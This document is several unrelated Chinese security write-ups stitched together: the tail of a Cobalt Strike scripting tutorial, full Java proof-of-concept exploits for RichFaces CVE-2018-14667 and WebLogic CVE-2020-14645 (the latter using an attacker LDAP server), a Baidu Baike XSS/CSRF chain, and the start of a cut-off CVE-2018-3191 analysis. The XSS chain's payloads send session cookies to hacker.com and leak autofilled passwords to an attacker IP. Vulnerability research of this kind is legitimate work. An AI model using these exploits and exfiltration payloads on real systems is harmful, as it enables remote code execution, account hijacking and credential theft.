使用[show_message](https://www.cobaltstrike.com/aggressor-script/functions.html#show_message)可向用户提示信息，使用[show_error](https://www.cobaltstrike.com/aggressor-script/functions.html#show_error)可向用户提示错误信息。
bind Ctrl+M {
show_message("show_message!");
show_message("show_error!");
}
使用[prompt_text](https://www.cobaltstrike.com/aggressor-script/functions.html#prompt_text)函数可提示输入框：
prompt_text("What is your name?", "Joe Smith", {
show_message("Please $1 $+ , pleased to meet you");
});
确认框可以使用[prompt_confirm](https://www.cobaltstrike.com/aggressor-script/functions.html#prompt_confirm)，和[prompt_text](https://www.cobaltstrike.com/aggressor-script/functions.html#prompt_text)函数相似度极高。
### 自定义对话框
AgScript有一个API可用于构建自定义对话框。 [dialog](https://www.cobaltstrike.com/aggressor-script/functions.html#dialog)函数用于创建一个对话框，对话框主要由行和按钮组成，其中行包含了标签，行名称，要输入的GUI组件，可能还有用于设置输入的帮助程序。
关闭按钮对话框并触发回调函数。
回调函数的参数类型是一个字典，将每行的名称映射到对应的GUI组件中的输入值。最后再使用[dialog_show](https://www.cobaltstrike.com/aggressor-script/functions.html#dialog_show)函数将对话框展示出来即可。demo：
sub callback {
println("Dialog was actioned. Button: $2 Values: $3");
}
$dialog = dialog("Host File", %(uri => "/download/file.ext", port => 80, mimetype => "automatic"), &callback);
dialog_description($dialog, "Host a file through Cobalt Strike's web server");
drow_file($dialog, "file", "File:");
drow_text($dialog, "uri", "Local URI:");
drow_text($dialog, "host", "Local Host:", 20);
drow_text($dialog, "port", "Local Port:");
drow_combobox($dialog, "mimetype", "Mime Type:", @("automatic", "application/octet-stream", "text/html", "text/plain"));
dbutton_action($dialog, "Launch");
dbutton_help($dialog, "https://www.cobaltstrike.com/help-host-file");
dialog_show($dialog);
(该窗口在Attacks -> Web Drive-by -> Host File中触发打开)
跟进这个绘制对话框的流程
line1-3 定义callback函数
line5 dialog绘制窗口，第一个参数是窗口标题，第二个参数是一个％字典并将行名称映射到默认值，第三个参数是回调函数。
line6 添加窗口描述。
line8 添加选择文件的组件
line9-11 添加输入框
line12 添加选择框
line14 添加一个开始按钮
line15 添加帮助导航(相当于超链接)
line17 显示窗口
## 0x08 自定义报告
### 报告处理
Cobalt
Strike使用特定领域的语言来定义其报告，该语言类似于AgScript，但其大多数API均无法访问，报告生成过与AgScript脚本引擎无关。
处理报告的脚本引擎可以访问数据聚合API和一些基元，用以指定Cobalt Strike报告的结构。
[default.rpt](https://www.cobaltstrike.com/aggressor-script/default.rpt)文件定义了Cobalt Strike中的默认报告的样式。
### 报告加载
在Cobalt Strike -> Preferences -> Reports中可看到如下窗口
选择完logo文件以及.rpt文件并保存即可在Reporting功能中看到自定义的报告。
### 错误报告
如果到处报告的过程中发生了未知错误，可在 View -> Script Console中查看错误详情
### 报告demo
如下demo中的报告并未获取什么实质性内容，仅作为自定义报告的一个demo而已：
# default description of our report [the user can change this].
describe("Hello Report", "This is a test report.");
# define the Hello Report
report "Hello Report" {
# the first page is the cover page of our report.
page "first" {
# title heading
h1($1['long']);
# today's date/time in an italicized format
ts();
# a paragraph [could be the default...
p($1['description']);
}
# this is the rest of the report
page "rest" {
# hello world paragraph
p("Hello World!");
}
}
其中h1函数是输出标题,ts函数输出报告的日期/时间戳,p函数输出段落。详情可参考[报告相关的函数](https://www.cobaltstrike.com/aggressor-script/rfunctions.html)
### 数据聚合API
Cobalt
Strike的报告依赖于数据聚合API来获取其信息，该API为您提供了客户当前连接到的所有团队服务器的数据的合并视图,并提供了评估活动的综合报告，处理报告的这些函数以均以ag前缀开头（如[agTargets](https://www.cobaltstrike.com/aggressor-script/rfunctions.html#agTargets)）,报表引擎在生成报表时传递数据聚合模型即为$3参数。
**总结：**
对于大部分开发者而言，摸清楚agScript的基本语法后只需在函数库里面翻翻自己需要的函数就可以轻松写出需要的插件了。
函数库：
https://www.cobaltstrike.com/aggressor-script/functions.html | 社区文章 |
**作者：lucifaer
作者博客：<https://www.lucifaer.com/>**
刚开始分析Java的漏洞，很多东西感觉还是有待学习…
### 0x00 漏洞描述
> The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression
> Language (EL) injection via the UserResource resource. A remote,
> unauthenticated attacker could exploit this to execute arbitrary code using
> a chain of java serialized objects via
> org.ajax4jsf.resource.UserResource$UriData.
根据漏洞描述，可以得知是通过`UserResource`注入EL表达式而造成的rce。而未经身份验证的攻击者可以通过`org.ajax4jsf.resource.UserResource$UriData`的反序列化利用链，完成rce。
### 0x01 整体触发流程
MediaOutputRenderer$doEncodeBegin:54
# 触发createUserResource方法，将序列化内容写到Map映射中
BaseFilter$doFilter
InternetResourceService$serviceResource:101 # 根据resourceKey获取资源
ResourceBuilderImpl$getResourceForKey:217 # 从Map映射中利用键值获取序列化内容
InternetResourceService$serviceResource:106 # 根据resourceKey获取资源
ResourceBuilderImpl$getResourceDataForKey:227 # 白名单过滤，反序列化
InternetResourceService$serviceResource:115 # 触发反序列化方法
UserResource$getLastModified:73 # 可被触发的反序列化方法之一
ValueExpression$getValue:4 # 执行el表达式
### 0x02 漏洞分析
#### 2.1 UserResource
官方给的描述是通过`UserResource`类进行EL表达式注入的，全局搜一下`UserResource`这个类，定位到`org.ajax4jsf.resource.UserResource`。同样官方说可以用`UriData`进行反序列化利用链的构造，简单看了一下，需要注意的以下三个方法：
* `send()`
* `getLastModified()`
* `getExpired()`
以上三个方法流程大致相同，挑了`getLastModified`跟一下：
可以看出能利用`UriData`执行`EL`表达式。跟一下`UriData`是从哪里来的：
无论怎样最后会获得一个对象，继续跟一下：
getter/setter方法获值，跟进一下是什么地方赋值的，在`org.ajax4jsf.resource.ResourceContext$serviceResource`
可以清楚的看出，在
resourceContext.setResourceData(resourceDataForKey);
这里完成了set方法。我们现在跟一下上面的流成，看看`resourceContext`具体是一个什么东西。
#### 2.2 InternetResourceService
首先跟一下`getResourceDataForKey`:
根据继承关系可以看到是在`ResourceBuilderImpl`中实现的：
首先对`resourceDataForKey`进行了字符串截取，之后将字符串进行解密，最后调用了`LookAheadObjectInputStream`，我们跟一下这个类有什么作用：
可以看到这个类重写了`resolveClass`方法，也就是说在加载过程中会调用到这个resolveClass方法，并连接到指定的类。在其中有一个`this.isClassValid(desc.getName())`实现了白名单检测：
可以看到调用了`class.isAssignableFrom`校验反序列化的类，也就是说如果反序列化的类是白名单中类的子类或者接口是可以通过该项校验的。向下看一下，可以发现`whitelistBaseClasses`是从`resource-serialization.properties`中加载的：
而`UserResource`恰好是`InternetResource`的子类，`UserResource$UriData`是`SerializableResource`的子类：
所以满足反序列化白名单的要求。
反过头来看一下之前的字符串解密过程：
`Coded`中的`d`为`null`，也就是说这个解密过程为
base64decode -> zip解密
现在反序列化流程是我们可以控制的，我们回头看一下组成`resourceContext`的另一部分`resource`的生成过程：
首先对url进行了截取，之后通过键值关系在Map映射中获取资源。看一下在哪里对Map进行的填充：
可以看到首先根据生成的path去获取`userResource`，获取不到的话就new一个，然后加入到`resources
Map`中，也就是说只要我们找到哪里调用了`createUserResource`就可以控制`source`的值。
查看`createUserResource`的调用点时发现只有`MediaOutputRenderer$doEncodeBegin`调用了该方法。
#### 2.3 MediaOutputRenderer
看一下`MediaOutputRenderer`的处理逻辑，首先创建了`userResource`，然后调用了getter的方法获取`userResource`的`Uri`，之后将`Uri`放到了`ResponseWriter`中，我们看一下最后这个`ResponseWriter`最后干了什么：
将会把`URL`打印到页面上。
现在我们看一下`getUri`的处理过程：
调用到了`UserResource$getDataToStore`：
可以看到主要完成的工作就是将`MediaOutputRenderer`的`component`参数（从代码中可以看出是从标签字段中获得的值）中的一些值提取出来赋值到`UriData`对象中，最后返回`UriData`对象。
继续跟进一下`getUri`：
可以看到`storeData`就是`UriData`对象，将其序列化后经过encrypt加密后返回到`resourceURL`中。回看一下反序列化过程：
也就是我们只需要构造`/DATA/`后的数据就好，`/DATA/`前半段的数据是可以从`url`中获取的：
至此整个RCE的流程就分析完了。
### 0x03 构造POC
梳理整理整个的触发流程，发现该漏洞可执行`getLastModified`、`getExpired`、`send`这三个方法，完成EL表达式的执行，但是他们的触发条件是不同的：
* `resource.isCacheable`为`true`触发`getLastModified`、`getExpired`
* `resource.isCacheable`为`false`触发`getLastModified`、`send`
这里解释一下为什么在`resource.isCacheable`为`false`时还会触发`getLastModified`，调用栈如下：
InternetResourceService$serviceResource:152 # 进入else处理环节
ResourceLifecycle$send:37 # 无论如何都会调用sendResource方法
ResourceLifecycle$send:117 # resource.sendHeaders触发getLastModified方法，send触发send方法。
可以看到最稳定的触发点就是`getLastModified`，接下来的poc也以这个稳定触发点为例。根据在0x01中已经提及的流程，逆向的生成`UriData`，序列化，加密，即可。
#### 3.1 选择反射生成的对象
根据[tint0](https://tint0.com/when-el-injection-meets-java-deserialization/)的文章，选择使用`javax.faces.component.StateHolderSaver`来作为反射生成的对象，也就是`modified`对象，使用这个对象的原因是因为这个对象在反序列化失败时可以返回一个`null`对象，最后应用会返回一个200状态码，而当反序列化成功时，就尝试将状态对象转换成一个数组，如果失败时会抛出一个Richface无法捕捉的异常，应用最后返回一个500状态码。利用状态码的不同，可以判断我们的反序列化过程是否成功执行。
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Location location = new Location("", 0, 0);
#### 3.2 生成`UriData`
主要点在于构造`UriData`中的`modified`字段。首先整理生成`modified`所需要的几个条件：
1. Date类的对象
2. 生成该对象时需要调用一个`ValueExpression`类的`getValue`
跟一下`getValue`：
根据继承类来看，右边框内的类都是我们可以利用的，以`TagValueExpression`举例：
可以看到需要另外一个`ValueExpression`类，并且调用其`getValue`的方法。
我们首先看该构造函数的第一个需要构造的参数`attr`：
该类的构造函数为：
可以看到关键点在于将我们的EL表达式构造到`value`处，其他的参数可以为空。
接着看第二个需要构造的参数`orig`，这里我们调用另一个`ValueExpressionImpl`类来构造这个`orig`参数：
跟一下`getNode`和`getValue`：
下个断动态调一下，发现应如此构造`expr`:
pocEL+" modified"
其他的参数可以为空。这样我们就可以构造一个完整的`TagValueExpression`类，这个类可以执行我们的EL表达式。
// 1. 设置UriData
// 设置UriData.value
Object value = "cve-2018-14667";
// 设置UriData.createContent
Object createContent = "cve-2018-14667";
// 设置UriData.expires
Object expires = "cve-2018-14667";
// 设置UriData.modified
TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
Object modified = ct.newInstance(null, tagValueExpression);
#### 3.3 序列化
之后的步骤就是利用反射构造一个`UriData`，并进行初始化，同时执行序列化：
UserResource.UriData uriData = new UserResource.UriData();
Field valueField = uriData.getClass().getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(uriData, value);
Field createContentField = uriData.getClass().getDeclaredField("createContent");
createContentField.setAccessible(true);
createContentField.set(uriData, createContent);
Field expiresField = uriData.getClass().getDeclaredField("expires");
expiresField.setAccessible(true);
expiresField.set(uriData, expires);
Field modifiedField = uriData.getClass().getDeclaredField("modified");
modifiedField.setAccessible(true);
modifiedField.set(uriData, modified);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
#### 3.4 加密
可以直接复制`ResourceBuilderImpl$encrypt`的加密函数，就在`decrypt`的上面：
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
这里要注意一下顺序，在反序列化前，解密的顺序为base64+zip，那么加密过程就需要zip+base64。
#### 完整版POC
import com.sun.facelets.el.TagValueExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.ValueExpressionImpl;
import org.ajax4jsf.resource.UserResource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Date;
import java.util.zip.Deflater;
import javax.faces.context.FacesContext;
public class poc {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Location location = new Location("", 0, 0);
// 1. 设置UriData
// 设置UriData.value
Object value = "cve-2018-14667";
// 设置UriData.createContent
Object createContent = "cve-2018-14667";
// 设置UriData.expires
Object expires = "cve-2018-14667";
// 设置UriData.modified
TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
Object modified = ct.newInstance(null, tagValueExpression);
// 2. 序列化
UserResource.UriData uriData = new UserResource.UriData();
Field valueField = uriData.getClass().getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(uriData, value);
Field createContentField = uriData.getClass().getDeclaredField("createContent");
createContentField.setAccessible(true);
createContentField.set(uriData, createContent);
Field expiresField = uriData.getClass().getDeclaredField("expires");
expiresField.setAccessible(true);
expiresField.set(uriData, expires);
Field modifiedField = uriData.getClass().getDeclaredField("modified");
modifiedField.setAccessible(true);
modifiedField.set(uriData, modified);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密（zip+base64）
//
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
效果：
### 0x04 Reference
* <https://tint0.com/when-el-injection-meets-java-deserialization/>
* <https://xz.aliyun.com/t/3264>
* * * | 社区文章 |
# Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Oracle七月发布的安全更新中，包含了一个Weblogic的反序列化RCE漏洞，编号CVE-2020-14645，CVS评分9.8。
该漏洞是针对于CVE-2020-2883的补丁绕过，CVE-2020-2883补丁将`MvelExtractor`和`ReflectionExtractor`列入黑名单，因此需要另外寻找一个存在`extract`且方法内存在恶意操作的类即可绕过补丁。
这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类
`com.tangosol.util.extractor.UniversalExtractor`，因此只能影响 Weblogic 12.2.1.4.x。
## 1）影响范围
Oracle WebLogic Server 12.2.1.4.0
## 2）漏洞复现
这里使用JNDI-Injection-Exploit工具开启一个ldap服务端
> <https://github.com/welk1n/JNDI-Injection-Exploit>
这里使用了Y4er师傅的poc，生成poc文件，使用t3协议发送
package com.yyhuni;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception {
// CVE_2020_14645
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,q);
Field queue2 = queue.getClass().getDeclaredField("size");
queue2.setAccessible(true);
queue2.set(queue,2);
//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
弹出计算器：
## 3）漏洞分析
在`UniversalExtractor#extract`中，利用了`invoke`调用
`JdbcRowSetImpl#getDatabaseMetaData`方法导致 JDNI 远程动态类加载。`UniversalExtractor` 是
Weblogic 12.2.1.4.0 版本中独有的。
gadget链：
- PriorityQueue#readObject
- ExtractorComparator#compare
- this.m_extractor.extract
- UniversalExtractor#extract
- UniversalExtractor#extractComplex
- method.invoke#205
- JdbcRowSetImpl#getDatabaseMetaData
下面就分别解析PriorityQueue、ExtractorComparator、UniversalExtractor、JdbcRowSetImpl这四个类是怎么进行串联产生调用关系的
### 3.1 JdbcRowSetImpl
在`JdbcRowSetImpl`中，调用其`getDatabaseMetaData`方法，会进行`lookup`的操作
可以看到，如果`this.getDataSourceName()`参数可控，则会产生JNDI注入
### 3.2 UniversalExtractor
使用此类的目的是，此类的`extract`方法，可以调用到`JdbcRowSetImpl`的`getDatabaseMetaData`方法
#### 构造方法
先来看`UniversalExtractor`的构造函数，在payload中传入了三个参数sName、aoParam、nTarget做了哪些操作
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
如果第一个if判断为true的话，则会抛出异常。所以传入的aoParam值为null，会跳转到else中
跳转到else中，分别给m_sName、m_aoParam、m_nTarget赋值，接着调用了this.init()
跟进this.init()
148行调用了`getCanonicalName`方法，把返回值传给了`sCName`，跟进`getCanonicalName`
86行的`Lambdas.getValueExtractorCanonicalName(this)`是判断this是否为`AbstractRemotableLambda`类型，此处就不跟入了，它的返回值是null。
所以进入了88行的if语句中，`CanonicalNames.computeValueExtractorCanonicalName(this.m_sName,
this.m_aoParam);`
跟进`computeValueExtractorCanonicalName`方法
这里三个框分别解释下
1. 如果aoParam 不为 null 且数组长度大于0就会返回 null ，此处aoParam是我们传入的null，不满足条件，进入else
2. 如果方法名 sName 不以 () 结尾，则直接返回方法名，我们sName的值是getDatabaseMetaData()，不满足条件，进入else
3. 如果方法名以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头得话，会截取掉并返回，查看到数组中的元素有get、is，所以截取掉了getDatabaseMetaData()前面的get，最终返回了databaseMetaData
最终返回的databaseMetaData会赋值给`init`方法中的`sCName`
接下来一行把this.m_fMethod赋值为了false
到这里`UniversalExtractor`的构造函数就已经执行完了。接下来看下`UniversalExtractor`的`extract`方法
#### extract方法
在`extract`方法中，传入了`oTarget`，调用了`extractComplex`方法，跟进`extractComplex`方法
在`extractComplex`方法中有使用到反射调用`oTarget`的任意方法`method.invoke(oTarget,
aoParam)`，而这里有三个参数分别是method、oTarget、aoParam，需要对这三个参数可控才可以调用到`JdbcRowSetImpl`的`getDatabaseMetaData`方法。
现在来拆解`extract`方法，来理解这个`extract`方法是怎么一步步调用到最后的invoke的。
第一个if语句判断oTarget的值是不是等于null
从而走进else中，第二个if语句判断`targetPrev`的值如果为null，则走进else中，显然在69行，`targetPrev`被赋予了一个默认值null
接着在else中就是调用了`this.extractComplex(oTarget)`
跟进`extractComplex`
开头几行分别是对一些变量进行赋值
clzTarget为com.sun.rowset.JdbcRowSetImpl的class对象
aoParam为null
clzParam为null
sCName为databaseMetaData
fProperty为true
这里就解释下fProperty为什么是true，可以在`isPropertyExtractor`方法中看到，取反this.m_fMethod，而this.m_fMethod则是在前面`init`中被赋予了false
所以186行第一个if语句进入了true
`sBeanAttribute`的值为`sCName`第一个首字母变成大写后的值DatabaseMetaData
重点看for循环里面的内容，因为此内容拿到了关键的`method`
在BEAN_ACCESSOR_PREFIXES中有get、is方法，for循环遍历拿到clzTarget对象（com.sun.rowset.JdbcRowSetImpl）的get，is
+ sBeanAttribute（DatabaseMetaData）方法，然后赋值给了method
最后进行了method.invoke(oTarget, aoParam)
method值为getDatabaseMetaData
oTarget值为JdbcRowSetImpl
aoParam值为null
接下来就是调用到了`JdbcRowSetImpl`的`getDatabaseMetaData`方法造成了JNDI注入
### 3.3 ExtractorComparator
`ExtractorComparator`类的`compare`方法会去调用`UniversalExtractor#extract`，并且传入了o1，而此处的o1则是最后`UniversalExtractor`的oTarget（JdbcRowSetImpl）
### 3.4 PriorityQueue
`PriorityQueue`类是此漏洞的入口，其以`readObject`为入口，最后调用到`ExtractorComparator#compare`方法，下面是`PriorityQueue`的调用链
readObject
->heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare
这里有几个注意点：
`comparator`的值为`PriorityQueue`的构造函数中传入
`comparator.compare(x, (E) c)`中x和c的值都是在`queue`数组中获得
最后一点是size的值要大于等于2，不然不会进入while语句中
最后构造出整个漏洞的调用链
入口在PriorityQueue#readObject
-》 ExtractorComparator#compare
-》 this.m_extractor.extract
-》 UniversalExtractor#extract
-》 UniversalExtractor#extractComplex
-》 method.invoke#205
-》 JdbcRowSetImpl#getDatabaseMetaData
## 4）修复方式
安装Weblogic补丁：p31537019_122140_Generic
## 5）参考
<https://www.anquanke.com/post/id/210724>
<https://nosec.org/home/detail/4524.html>
<https://paper.seebug.org/1280/#cve-2020-2883>
<https://github.com/Y4er/CVE-2020-14645> | 社区文章 |
[+] Author: fridayy
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-09-07
#### 0x01 从信息泄露说起
随着 WEB 的不断发展，前端越来越复杂，交互也越来越多。在前后端交互的过程中，往往会需要在页面 /API
中输出许多冗余的东西。导致开发人员一不小心就会把敏感信息输出，例：`password`、`httponly cookie`、 `access_token`
等。
回到这次要分析的漏洞上来，百度百科在 <http://baike.baidu.com/mall> 的 HTML 源码中输出了
bduss（核心cookie，httponly），可以利用泄露的 bduss 直接获得用户的登录状态，目前漏洞已经修复。从 [HttpOnly
隐私嗅探器](http://fex.baidu.com/blog/2014/08/sensitive-data-sniffer/) 中借张截图，原理相同：
本文将详细讲述，如何利用 Self-XSS 配合 CSRF、信息泄露漏洞，从而控制受害者的百度账户。
#### 0x02 鸡肋的 Self-XSS
托了托镜框我找到了这个 Self-XSS ：
冷门词条 - 》点击编辑 -》 插入参考资料 -》 保存到草稿箱 -》 从草稿箱找到对应草稿 -》 点击编辑重新进入编辑页面 -》 代码执行：
但这个漏洞需要的用户交互太多了，几乎没法利用，有没有什么办法来简化这个过程呢？
#### 0x03 易被忽略的 CSRF
我们先来简单梳理一下这个跨站漏洞（图）：
完整的利用过程，需要和服务器交互三次，我们挨个分析：
* **保存到草稿箱** 是否存在CSRF漏洞可利用？
* **获取草稿ID** ID是否为固定值？是否可以预测？
* **访问草稿编辑页面**
我愉快的发现，保存到草稿箱的操作，是存在 CSRF 漏洞的（没有验证token，也没有验证referer），利用 iframe 来提交：
submit.html
<form id="form" method="post" action="http://baike.baidu.com/editdraftsave" enctype="multipart/form-data">
<input type="input" name="from" value="">
<input type="input" name="album" value="">
<input type="input" name="lemmaTitle" value="敢不敢点→_→的《继续编辑》">
<!--省略一些input-->
...
<!--payload-->
<input type="input" name="reference" value='[{"type":2,"author":"[[payload]]","title":"1","publisher":"1","place":"1","publishYear":"1","refPage":"1","index":1}]'>
</form>
<script type="text/javascript">
document.getElementById("form").submit();
</script>
index.html
<iframe src="submit.html"></iframe>
<script>
// 提交草稿完成后，跳转到草稿浏览页，引导用户点击编辑按钮
setTimeout("window.location.href='http://baike.baidu.com/usercenter/lemmas#drafts'", 5000)
</script>
<!--一些伪装-->
当用户点击了攻击者的链接 5 秒后，会跳转到百科的草稿浏览页，如下所示：
当用户点击了`继续编辑`之后，Payload 执行。但需要用户交互的XSS，有没有什么办法能绕过用户交互来执行 Payload 呢？
#### 0x04 Tricks
编辑草稿（执行payload）的URL为：[http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{draft_id}}](http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{draft_id}})
。想去掉用户交互的环节，就要想办法获取到`draft_id`。
在保存草稿的时候，服务器在 http response 里返回了`draft_id`，但我们是利用 iframe 发起的 http
请求，由于跨域策略的限制，并不能获得 http response。
托了托镜框，发现突破点：草稿ID是连续的。也就是说我们可以尝试预测`draft_id`。
简化后的利用思路如下图所示：
当受害者访问攻击者提供的页面时，hacker 服务器会提交一次草稿（利用攻击者的账户信息），获取当前ID（记为hack_id）。hacker
服务器返回给用户的页面，会在前端连续发出多次保存草稿的请求（利用受害者的账户信息）。由于请求发出的时间间隔很短，可以认为 hack_id
跟后续用户保存的草稿编号连续。5秒后，跳转到
[http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ hack_id + 3
}}](http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ hack_id + 3
}}) （或者小于前端发出请求次数的其他数字）。
伪代码：
@app.route('/')
def test():
myid = int(getId())
return render_template('form.html', myid=myid)
def getId():
req = requests.post(url='http://baike.baidu.com/editdraftsave', data=data, headers={'Cookie': 'BDUSS={{hacker's bduss}}'})
num = req.content.split('"draftId":')[1].split('}')[0]
return num
form.html
<script type="text/javascript">
setTimeout("window.location.href='http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ myid }}'", 5000)
</script>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
折腾了这么多，终于可以做到像普通反射性XSS一样，受害者点击某个链接，不经过用户交互 "直接" 执行攻击代码了。
#### 0x05 Test Exploit
有了一个很好用的无视 XSS Auditor 漏洞后，接下来就是要综合利用这个漏洞，做点儿坏事情 (嘿嘿嘿 ，我们开头提到了，bduss 被输出在了
<http://baike.baidu.com/mall> 的源码中，构造代码如下：
<img src=1 onerror=xmlHttp=new XMLHttpRequest();xmlHttp.open('GET','/mall');xmlHttp.send();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){data=xmlHttp.responseText;bduss=data.substr(data.search('bduss')+8,192);window.location.href='http://hacker.com/'+bduss);}}>
最终效果是用户访问恶意链接后，会将 bduss 发送到攻击者的服务器。攻击者利用 bduss
就可以控制用户的百度账户了。抛开这个XSS，还有一些其他的利用方法，如：浏览器会记录用户的常用密码和账户，用于自动填充。虽然只会填充对应域名下的输入框，但对输入框的校验很宽松，用如下的代码即可触发自动填充：
<form>
<input type="text" id="us2r">
<input type="password" id="p4ss">
</form>
<script>
var img=document.createElement('img')
img.src="http://{{ hacker's ip }}/?data=" + us2r.value + ":" + p4ss.value
document.body.appendChild(img)
</script>
安全是一个整体，看似没什么危害的洞，在特定情况下也会发挥奇效。
最后，欢迎对 XSS 利用有各种猥琐想法的同学来交流，微博 [@Fr1day](http://weibo.com/u/3312659624)
* * * | 社区文章 |
# Weblogic CVE-2018-3191分析
##### 译文声明
本文是翻译文章，文章原作者 廖新喜，文章来源：廖新喜
原文地址：<https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg>
译文仅供参考，具体内容表达以及含义原文为准。
作者：廖新喜
## 背景
北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch
Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic
Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。这个漏洞由Matthias
Kaiser，loopx9，Li Zhengdong申报。
## 补丁分析
如下图所示
这回的补丁主要增加了两个大类黑名单，分别是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager，RemoteObject是用于修补漏洞编号为CVE-2018-3245的漏洞，当时笔者在报这个漏洞的过程中就将所有涉及到RemoteObject相关的poc都提交给了Oracle官方。AbstractPlatformTransactionManager这个黑名单就是用于防止Spring
JNDI注入，从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样，只是来源于不同的包。
## 动态分析
通过前一章的静态分析已经知道CVE-2018-3191所对应的补丁，就是AbstractPlatformTransactionManager，用于防止Spring
JNDI注入。在我们的PoC中主要用到JtaTransactionManager这个类。下面来看一下这个类中关键的几个地方。
public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
